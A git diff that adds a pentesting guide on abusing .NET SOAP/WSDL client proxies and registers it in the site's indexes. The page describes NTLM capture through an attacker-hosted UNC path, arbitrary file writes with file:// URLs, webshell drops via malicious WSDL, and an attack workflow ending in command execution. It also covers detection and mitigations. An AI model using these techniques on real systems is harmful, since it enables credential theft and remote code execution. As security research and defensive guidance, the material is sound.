diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 8dbee3d44c5..62523cbe2d4 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -439,6 +439,7 @@
     - [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
   - [CGI](network-services-pentesting/pentesting-web/cgi.md)
   - [Django](network-services-pentesting/pentesting-web/django.md)
+  - [Dotnet Soap Wsdl Client Exploitation](network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md)
   - [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
   - [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
     - [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 674bafdffd0..1e657339f96 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -76,6 +76,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
 - [**Artifactory**](artifactory-hacking-guide.md)
 - [**Buckets**](buckets/index.html)
 - [**CGI**](cgi.md)
+- [**Dotnet SOAP WSDL client exploitation**](dotnet-soap-wsdl-client-exploitation.md)
 - [**Drupal**](drupal/index.html)
 - [**Flask**](flask.md)
 - [**Fortinet FortiWeb**](fortinet-fortiweb.md)
@@ -435,4 +436,4 @@ Entry_12:
 
 </details>
 
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md b/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md
new file mode 100644
index 00000000000..19f0946dddc
--- /dev/null
+++ b/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md
@@ -0,0 +1,108 @@
+# .NET SOAP/WSDL Client Proxy Abuse
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## TL;DR
+
+- `SoapHttpClientProtocol`, `DiscoveryClientProtocol` and friends inherit from `HttpWebClientProtocol`, whose `GetWebRequest()` returns the scheme-agnostic `WebRequest` instance produced by `WebRequest.Create()` without enforcing `HttpWebRequest`.
+- If an attacker controls the proxy `Url`, the framework silently swaps in `FileWebRequest`, `FtpWebRequest` or UNC/SMB handlers, turning "HTTP" proxies into NTLM leak gadgets or arbitrary file writers.
+- Any feature that imports attacker-supplied WSDL with `ServiceDescriptionImporter` compounds the bug: the WSDL controls the generated proxy constructor, SOAP methods, complex types and namespaces, enabling pre-auth RCE (webshells, script drops) in products such as Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell and SSIS.
+
+## Root cause: HttpWebClientProtocol is scheme-agnostic
+
+`WebClientProtocol.GetWebRequest()` does `var req = WebRequest.Create(uri)` and returns it untouched. `HttpWebClientProtocol.GetWebRequest()` tries `req as HttpWebRequest` to set HTTP-only fields, but it **still returns the original `req`** even when the cast fails. Therefore the runtime obeys whatever scheme is present in `Url`:
+
+- `http(s)://` → `HttpWebRequest`
+- `file:///` or `\\host\share\` → `FileWebRequest`
+- `ftp://` → `FtpWebRequest`
+
+`SoapHttpClientProtocol.Invoke()` then streams the SOAP POST body through whatever transport handler was selected, even if that means writing to disk or over SMB.
+
+## Primitive 1 – NTLM capture / relay via UNC targets
+
+1. Gain control over `SoapHttpClientProtocol.Url` (direct setter, config value, database row, etc.).
+2. Point it to a UNC path like `file://attacker.local/sink/payload`.
+3. The CLR opens the path via SMB and performs integrated authentication, leaking NTLM challenge/response to the attacker.
+4. Use captured hashes for offline cracking or NTLM relay (SMB/HTTP) if signing/EPA are absent.
+
+This applies to **any** .NET SOAP/HTTP proxy path that accepts user input, even if no further exploitation is possible.
+
+## Primitive 2 – Arbitrary file writes via `file://`
+
+1. Set `Url = "file:///inetpub/wwwroot/poc.aspx"` (or any writable path) before the proxy call.
+2. Invoke any SOAP method; the framework writes the entire SOAP envelope to the chosen path, overwriting existing files.
+3. User-controlled arguments appear inside XML elements, letting attackers drop CSHTML/ASPX payloads or poison config files.
+
+Limitations:
+
+- Content is always XML; scalar fields are entity-encoded, so injecting `<script>` via plain strings requires additional tricks.
+- Meaningful payloads need at least one attacker-influenced argument or the ability to modify the method signature (see WSDL abuse).
+
+Runtime often throws `Client found response content type of 'application/octet-stream', but expected 'text/xml'` after the write—treat this error as an IOC.
+
+## Weaponizing WSDL imports
+
+### Auto-generated proxies via `ServiceDescriptionImporter`
+
+Many products expose "custom web service" features that accept a WSDL URL, then:
+
+1. `ServiceDescription.Read()` the attacker-controlled WSDL.
+2. `ServiceDescriptionImporter` generates C# proxy classes extending `SoapHttpClientProtocol`.
+3. CodeDOM compiles the proxy and reflection calls the requested method.
+
+The attacker fully controls:
+
+- `soap:address` / `soap12:address` `location` → becomes `base.Url` (can set `file://` or UNC paths).
+- Method names, parameter lists, complex types and serializers.
+- Namespace URIs that end up as `xmlns:*` attributes in every SOAP message.
+
+No scheme validation occurs, so every generated proxy inherits the original design flaw.
+
+### Shaping the SOAP envelope for RCE
+
+- **Complex type serialization**: Define custom structs in the WSDL so that when `XmlSerializer` re-emits them, they produce attacker-chosen element names/attributes. For ASPX webshell drops, craft types that serialize to:
+  ```xml
+  <script runat="server">
+      // payload pulling `Request.QueryString["cmd"]`
+  </script>
+  ```
+  and point `Url` to `file:///.../webroot/shell.aspx` to gain RCE.
+- **Namespace injection**: Even when arguments are hard-coded (e.g., Umbraco Forms), namespaces declared in the WSDL (e.g., `xmlns:tns="http://host/service?x=@{...}"`) are copied verbatim into the SOAP envelope. Encoding payloads inside the namespace query string enables CSHTML Razor or PowerShell script drops without parameter control.
+
+These techniques powered the Barracuda Service Center RMM (CVE-2025-34392) exploit: an unauthenticated SOAP call supplied a malicious WSDL, set `soap12:address` to `file:///Program Files/.../SCMessaging/poc.aspx`, injected `<script runat="server">` via complex parameters, and uploaded a webshell that executed arbitrary `cmd.exe` commands.
+
+## Typical attack workflow
+
+1. Identify functionality that accepts a WSDL URL or otherwise lets users configure SOAP endpoints (e.g., Barracuda `InvokeRemoteMethod`, Ivanti EPM connectors, Umbraco 8 Forms datasources, PowerShell `New-WebServiceProxy`).
+2. Host a malicious WSDL whose `soap:address` points to a writable path or UNC share and whose schema definitions provide payload-friendly methods/types.
+3. Trigger the import/compilation. The target emits a proxy DLL with attacker-controlled constructor and methods.
+4. When the application invokes the generated method, the SOAP request is serialized and written to the attacker-specified path, embedding the payload.
+5. Execute the dropped file (browse to `poc.aspx?cmd=whoami`, load the CSHTML, or let PowerShell run the script) or replay captured NTLM material.
+
+## Detection & hunting
+
+- **Static analysis**: Grep for `ServiceDescriptionImporter`, `SoapHttpClientProtocol`, `HttpWebClientProtocol`, or `New-WebServiceProxy`. Trace how `Url` or WSDL inputs are sourced—anything user-controlled is a red flag.
+- **Runtime telemetry**:
+  - Instrument proxy creation to log schemes; alert on `file`, `ftp`, or UNC values.
+  - Monitor for the characteristic "Client found response content type of 'application/octet-stream'" errors after SOAP calls.
+  - Watch for unexpected `.aspx/.cshtml/.ps1` writes under application directories performed by the web service identity.
+- **Network/file signals**: SMB connections initiated by web servers to attacker infrastructure, or sudden compilation of temporary proxy DLLs, often precede exploitation.
+
+## Mitigations
+
+- **Enforce transport validation** before invoking any `HttpWebClientProtocol`-derived proxy:
+  ```csharp
+  var uri = new Uri(proxy.Url);
+  if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
+      throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
+  ```
+- **Sanitize imported WSDL**: Proxy downloads through a broker that rewrites or rejects `soap:address` entries that are not HTTP/S, drops unknown bindings, and forbids namespace payload tricks.
+- **Disable untrusted WSDL features**: Replace "upload a WSDL" conveniences with vetted, server-side templates or allowlists.
+- **Segregate write locations**: Ensure app pools cannot write into executable directories; use separate volumes for data vs. code so that file-write primitives do not become RCE.
+- **Harden NTLM exposure**: Disable outbound SMB where possible; otherwise enforce SMB signing, EPA and other relay mitigations.
+
+## References
+
+- [watchTowr Labs – SOAPwn: Pwning .NET Framework Applications Through HTTP Client Proxies and WSDL](https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/)
+
+{{#include ../../banners/hacktricks-training.md}}